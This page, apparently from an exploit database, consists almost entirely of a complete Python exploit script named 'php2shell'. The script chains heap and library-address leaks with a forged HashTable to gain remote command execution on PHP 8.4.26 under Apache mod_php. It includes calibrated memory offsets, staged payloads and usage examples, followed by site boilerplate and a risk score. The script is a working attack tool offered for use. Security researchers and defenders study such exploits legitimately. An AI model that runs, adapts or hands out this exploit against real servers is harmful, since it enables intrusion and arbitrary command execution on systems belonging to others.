PHP 8.4.26 Remote Code Execution
#!/usr/bin/env python3
"""
Exploit credited to 9bie, adjusted using AI by OffSec
php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork.
Default profile: official php:8.4.26-apache image (Apache 2.4.69).
Lab build (Apache 2.4.68, minimal PHP): use --profile lab.
Chain (all attacker traffic is plain HTTP):
stage 0 HTTP worker rotation
stage 1 Set-Cookie heap leak -> Zend MM chunk base
stage 2 Set-Cookie libphp leak -> libphp base (ZVAL_PTR_DTOR)
stage 3 upload_progress fake-ref -> pDestructor = zif_system
Requirements on the target (the shipped docker/ setup matches these settings):
display_errors=1, memory_limit=8M, max_input_vars=1000,
session.use_cookies=1, session.use_strict_mode=0,
session.upload_progress.enabled=1, single-worker prefork.
Usage:
python3 exploit.py -u http://127.0.0.1:8088/index.php
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1
The command is embedded in a 167-byte live zend_string; the maximum command
length for this payload layout is 14 bytes. For a longer command, chain it
through a short shell trigger, e.g. `sh</out/c` (8 bytes).
"""
from __future__ import annotations
import argparse
import os
import re
import socket
import ssl
import struct
import subprocess
import threading
import sys
import time
import urllib.parse
from collections import Counter
# Offsets for the lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).
# They are relative to the libphp.so / Zend MM chunk base, so they do not
# depend on ASLR. Rebuilds can shift them; pass --zif-offset/--dtor-offset.
ZIF_OFFSET = 0x43A870 # zif_system
DTOR_OFFSET = 0x613C50 # ZVAL_PTR_DTOR (zval_ptr_dtor)
HTDATA_OFFSET = 0x6E0D8 # live 167-byte string used as fake HashTable
MAX_CMD = 14 # 167-byte carrier - 0x98 header - NUL
# bookworm (official php:8.4.26-apache) calibration, measured on the image
BOOKWORM_STAGE1_N = 841
BOOKWORM_STAGE2_T = 406
BOOKWORM_STAGE2_V = 16
BOOKWORM_HTDATA_OFFSET = 0x690D8
BOOKWORM_STAGE3_PADS = [(31, 31)] * 6
SID = b"attacksessionid0001"
DEFAULT_CMD = "id>/out/p1"
_HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_PROOF = os.path.join(_HERE, "out", "p1")
DEFAULT_OFFSETS = os.path.join(_HERE, "out", "offsets.env")
def build_multipart(parts, boundary: bytes) -> bytes:
out = bytearray()
for p in parts:
name = p["name"].encode()
out += b"--" + boundary + b"\r\n"
out += b'Content-Disposition: form-data; name="' + name + b'"'
if p.get("filename") is not None:
out += b'; filename="' + p["filename"].encode() + b'"'
out += b"\r\nContent-Type: application/octet-stream"
out += b"\r\n\r\n" + p["data"] + b"\r\n"
out += b"--" + boundary + b"--\r\n"
return bytes(out)
def read_offsets_file(path: str) -> dict[str, int]:
"""Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py."""
vals: dict[str, int] = {}
if not path:
return vals
try:
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#") or "=" not in line:
continue
key, val = line.split("=", 1)
vals[key.strip()] = int(val.strip(), 0)
except (OSError, ValueError):
pass
return vals
class Target:
def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
u = urllib.parse.urlsplit(url)
if u.scheme not in ("http", "https"):
raise ValueError("URL must be http:// or https://")
self.https = u.scheme == "https"
self.host = u.hostname or "127.0.0.1"
self.port = u.port or (443 if self.https else 80)
self.path = u.path or "/"
self.timeout = timeout
self.verbose = verbose
def log(self, msg: str) -> None:
if self.verbose:
print(msg, flush=True)
def _connect(self):
last = None
for _ in range(10):
try:
s = socket.create_connection((self.host, self.port), timeout=self.timeout)
if self.https:
ctx = ssl.create_default_context()
s = ctx.wrap_socket(s, server_hostname=self.host)
try:
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
except OSError:
pass
return s
except OSError as e:
last = e
time.sleep(0.3)
raise last # type: ignore[misc]
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
timeout: float | None = None,
extra_headers: dict[str, str] | None = None) -> bytes:
extra = ""
for k, v in (extra_headers or {}).items():
extra += f"{k}: {v}\r\n"
hdr = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
s = self._connect()
s.settimeout(timeout or self.timeout)
# Read concurrently with the upload: some exploit requests make the
# worker abort right after sending Set-Cookie, and a recv() that starts
# after the RST loses the already-buffered response.
data = bytearray()
def _reader() -> None:
try:
while len(data) < read_cap:
chunk = s.recv(65536)
if not chunk:
break
data.extend(chunk)
except OSError:
pass
reader = threading.Thread(target=_reader, daemon=True)
reader.start()
try:
try:
s.sendall(hdr)
mv = memoryview(body)
for off in range(0, len(body), 262144):
s.sendall(mv[off:off + 262144])
except OSError:
pass # the worker may abort while the body is still in flight
reader.join(timeout=(timeout or self.timeout) + 1.0)
return bytes(data)
finally:
s.close()
def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
hdr = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
s = self._connect()
s.settimeout(self.timeout)
try:
s.sendall(hdr)
data = bytearray()
try:
while len(data) < read_cap:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
except OSError:
pass
finally:
s.close()
head, _, body = bytes(data).partition(b"\r\n\r\n")
m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
return (int(m.group(1)) if m else 0), body
def parse_cookie(resp: bytes) -> bytes:
m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
if not m:
return b""
return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))
def chunk_base_from_cookie(raw: bytes) -> int:
"""Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""
if len(raw) < 1000:
return 0
c: Counter[int] = Counter()
for i in range(len(raw) - 8):
v = int.from_bytes(raw[i:i + 8], "little")
if 0x7F0000000000 <= v < 0x800000000000:
c[v & ~0x1FFFFF] += 1
if not c:
return 0
base, count = c.most_common(1)[0]
return base if count >= 8 else 0
def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:
"""Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.
The page-aligned check is 4KB, not 2MB: the lab build happened to map
libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it
at a 4KB boundary (e.g. base 0x...acdb000).
"""
if len(raw) < 16:
return 0
p = int.from_bytes(raw[8:16], "little")
if not (0x7F0000000000 <= p < 0x800000000000):
return 0
if p & 0xFFF != dtor_offset & 0xFFF:
return 0
base = p - dtor_offset
return base if base & 0xFFF == 0 else 0
class Exploit:
def __init__(self, target: Target, cmd: str, zif_offset: int = ZIF_OFFSET,
dtor_offset: int = DTOR_OFFSET, htdata_offset: int = HTDATA_OFFSET,
huge_mb: int = 12, verbose: bool = True, profile: str = "lab"):
self.t = target
self.cmd = cmd.encode()
self.zif_offset = zif_offset
self.dtor_offset = dtor_offset
self.htdata_offset = htdata_offset
self.huge_mb = huge_mb
self.verbose = verbose
self.profile = profile
if profile == "bookworm":
# official php:8.4.26-apache (Debian 12, Apache 2.4.69)
self.stage1_n = BOOKWORM_STAGE1_N
self.stage2_t = BOOKWORM_STAGE2_T
self.stage2_v = BOOKWORM_STAGE2_V
self.stage3_pads = list(BOOKWORM_STAGE3_PADS)
self.stage3_carrier = True
else:
self.stage1_n = 892
self.stage2_t = 443
self.stage2_v = 1
self.stage3_pads = [(8, 7)] + [(7, 7)] * 5
self.stage3_carrier = False
# ---------- request primitives (shapes match tools/*.py) ----------
def _big_field(self) -> dict:
return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}
def _file_part(self) -> dict:
return {"name": "f", "filename": "a.txt", "data": b"A" * 64}
def rotate(self) -> None:
"""Abort the current worker over HTTP; prefork forks a fresh one."""
self.t.log("[*] rotating worker over HTTP")
parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.3)
# Session-initializing B with no file part: pre-RINIT cleanup walks the
# corrupted heap and the child aborts.
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",
read_cap=65536, timeout=20.0)
time.sleep(0.5)
def stage1(self) -> int:
"""Leak the Zend MM chunk base."""
parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(self.stage1_n):
val = (f"v{i:04d}" + "x" * 44)[:48]
parts.append({"name": str(1000 + i), "data": val.encode()})
forge = bytearray(b"A" * 79)
struct.pack_into("<Q", forge, 0x10, 0x1000) # forged zend_string len
forge[0x18] = ord("L")
parts.append({"name": "1999", "data": bytes(forge)})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=9 << 20)
return chunk_base_from_cookie(parse_cookie(resp))
def stage2(self) -> int:
"""Leak libphp base through a 56-byte HashTable page."""
parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(983):
cnt = 16 if i == self.stage2_t else 1
for j in range(cnt):
parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=1 << 20)
return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)
def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
cmd = self.cmd
if len(cmd) > MAX_CMD:
raise ValueError(
f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "
f"{MAX_CMD} (e.g. use 'sh</out/c')"
)
ht = bytearray(b"\x00" * 167)
# fake HashTable
struct.pack_into("<II", ht, 0x00, 1, 7) # gc: rc=1, IS_ARRAY
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", ht, 0x10, htdata + 0x20) # arData
struct.pack_into("<II", ht, 0x18, 1, 1) # nNumUsed/OfElements
struct.pack_into("<II", ht, 0x20, 8, 0) # nTableSize/pointer
struct.pack_into("<Q", ht, 0x28, 0) # nNextFreeElement
struct.pack_into("<Q", ht, 0x30, zif) # pDestructor
# fake execute_data at E = data+0x20
E = 0x20
struct.pack_into("<Q", ht, E + 0x00, 0) # opline
struct.pack_into("<Q", ht, E + 0x08, 0) # call
struct.pack_into("<Q", ht, E + 0x10, zif) # return_value
struct.pack_into("<Q", ht, E + 0x18, 0) # func
struct.pack_into("<Q", ht, E + 0x20, 0) # This.value
struct.pack_into("<I", ht, E + 0x28, 0) # This.u1.type_info
struct.pack_into("<I", ht, E + 0x2C, 1) # num_args = 1
struct.pack_into("<Q", ht, E + 0x30, 0) # prev_execute_data
struct.pack_into("<Q", ht, E + 0x38, 0) # symbol_table
struct.pack_into("<I", ht, E + 0x40, 0) # call_info
struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80) # arg1 value
struct.pack_into("<I", ht, E + 0x58, 6) # arg1 IS_STRING
# fake zend_string at data+0x80
struct.pack_into("<II", ht, 0x80, 1, 0x106) # gc rc=1, IS_STRING
struct.pack_into("<Q", ht, 0x88, 0) # h
struct.pack_into("<Q", ht, 0x90, len(cmd)) # len
ht[0x98:0x98 + len(cmd)] = cmd
ht[0x98 + len(cmd)] = 0
# fake reference (55 bytes) placed at R0-0x10
ref = bytearray(b"X" * 55)
struct.pack_into("<II", ref, 0x10, 1, 10) # IS_REFERENCE
struct.pack_into("<Q", ref, 0x18, htdata) # val.value
struct.pack_into("<Q", ref, 0x20, 0x307) # IS_ARRAY_EX
struct.pack_into("<Q", ref, 0x28, 0) # sources
return bytes(ht), bytes(ref)
def stage3(self, htdata: int, zif: int) -> None:
"""Write the fake reference over PS(http_session_vars) and execute."""
parts = [
{"name": "PHPSESSID", "data": b"a" * 19},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
]
specs = self.stage3_pads
for i, (nl, vl) in enumerate(specs):
name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
parts.append({"name": name, "data": b"V" * vl})
parts += [self._file_part(), self._big_field()]
extra = None
if self.profile == "bookworm":
# Keep PS(id) valid: php_session_initialize then leaves
# send_cookie=0, so B's init does not allocate the Set-Cookie
# header at R0+16 (which would clobber val.type).
extra = {"Cookie": "PHPSESSID=" + "a" * 32}
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout),
extra_headers=extra)
time.sleep(0.3)
ht, ref = self._fake_payload(htdata, zif)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
if self.stage3_carrier:
# The bookworm reference is still alive (rc=2). A 15-byte
# bin-40 zend_string lands its chars exactly at
# PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the
# low 7 bytes of val.value to the fake HashTable, and let the
# high byte stay 0x00 (canonical 0x00007f... pointer).
carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
for i in range(2):
parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
parts.append({"name": "g00", "data": carrier})
for i in range(15):
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
else:
for i in range(15):
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
for i in range(2):
parts.append({"name": f"f{i:02d}", "data": ref})
self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=65536, timeout=30.0)
def main() -> int:
ap = argparse.ArgumentParser(
description="php2shell one-click exploit (official php:8.4.26-apache / lab)",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
ap.add_argument("-u", "--url", required=True,
help="target PHP page, e.g. http://127.0.0.1:8088/index.php")
ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
help=f"command to execute (max {MAX_CMD} bytes)")
ap.add_argument("--proof-file", default=DEFAULT_PROOF,
help="read this local file after exploitation; '' disables")
ap.add_argument("--fetch", default="",
help="GET this path afterwards (for commands writing to webroot)")
ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})")
ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})")
ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm",
help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)")
ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,
help="chunk-relative offset of the 167-byte live string")
ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,
help="read libphp offsets from this file ('' to disable)")
ap.add_argument("--docker-container", default="php2shell-target",
help="container used to auto-derive offsets on localhost")
ap.add_argument("--no-auto-offsets", action="store_true",
help="never run docker/offsets.py automatically")
ap.add_argument("--huge-mb", type=int, default=12,
help="size of the OOM field; must exceed memory_limit")
ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")
ap.add_argument("--no-pre-rotate", action="store_true",
help="skip the initial worker rotation")
ap.add_argument("--no-retry-rotate", action="store_true",
help="do not rotate between failed stage attempts")
ap.add_argument("--retries", type=int, default=3,
help="attempts per leak stage; stage 3 uses retries+2")
ap.add_argument("-q", "--quiet", action="store_true")
args = ap.parse_args()
if len(args.cmd.encode()) > MAX_CMD:
ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")
if args.htdata_offset is None:
args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm"
else HTDATA_OFFSET)
local_offsets = read_offsets_file(args.offsets_file)
t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)
# A local docker target may be built from a different image/toolchain than
# the lab; ask the container for its real libphp offsets once.
if (not local_offsets and not args.no_auto_offsets and args.offsets_file
and t.host in ("127.0.0.1", "localhost", "::1")):
helper = os.path.join(_HERE, "docker", "offsets.py")
if os.path.exists(helper):
if not args.quiet:
print("[*] no offsets file; reading libphp symbols from "
f"container {args.docker_container}", flush=True)
try:
subprocess.run(
[sys.executable, helper, args.docker_container, args.offsets_file],
check=False, timeout=60,
stdout=None if not args.quiet else subprocess.DEVNULL,
stderr=None if not args.quiet else subprocess.DEVNULL,
)
except (OSError, subprocess.SubprocessError):
pass
local_offsets = read_offsets_file(args.offsets_file)
if args.zif_offset is None:
args.zif_offset = local_offsets.get("ZIF_OFFSET", ZIF_OFFSET)
if args.dtor_offset is None:
args.dtor_offset = local_offsets.get("DTOR_OFFSET", DTOR_OFFSET)
ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,
dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,
huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile)
t.log(f"[*] target {args.url} (cmd={args.cmd!r})")
if local_offsets:
t.log(f"[*] offsets loaded from {args.offsets_file}")
t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
f"htdata=0x{args.htdata_offset:x}")
def rotate_after_failure() -> None:
if not args.no_retry_rotate:
ex.rotate()
if not args.no_pre_rotate:
ex.rotate()
# ---- stage 1 ----
chunk = 0
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
chunk = ex.stage1()
if chunk:
t.log(f"[+] chunk base = 0x{chunk:x}")
break
t.log("[-] heap leak missed")
rotate_after_failure()
if not chunk:
print("HEAP_LEAK_FAILED", file=sys.stderr)
return 1
ex.rotate() # each stage needs a fresh worker
# ---- stage 2 ----
libphp = 0
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
libphp = ex.stage2()
if libphp:
t.log(f"[+] libphp base = 0x{libphp:x}")
break
t.log("[-] libphp leak missed")
rotate_after_failure()
if not libphp:
print("LIBPHP_LEAK_FAILED", file=sys.stderr)
return 1
ex.rotate()
# ---- stage 3 ----
htdata = chunk + args.htdata_offset
zif = libphp + args.zif_offset
t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")
proof = ""
if args.proof_file:
try:
if os.path.exists(args.proof_file):
os.unlink(args.proof_file)
except OSError:
pass
for attempt in range(1, args.retries + 3):
try:
ex.stage3(htdata, zif)
except OSError as e:
t.log(f"[-] request error: {e}")
time.sleep(0.8)
if args.proof_file:
try:
if os.path.exists(args.proof_file):
with open(args.proof_file, "rb") as f:
proof = f.read().decode("latin1").strip()
except OSError:
pass
if not proof and args.fetch:
status, body = t.get(args.fetch)
if status == 200:
proof = body.decode("latin1").strip()
if proof:
t.log(f"[+] W3 attempt {attempt}")
print(f"PROOF: {proof}")
return 0
t.log(f"[-] stage 3 attempt {attempt} no proof yet")
rotate_after_failure()
print("EXPLOIT_FAILED (no proof; the command may still have executed blind)",
file=sys.stderr)
return 1
if __name__ == "__main__":
try:
sys.exit(main())
except KeyboardInterrupt:
sys.exit(130)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Oct 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4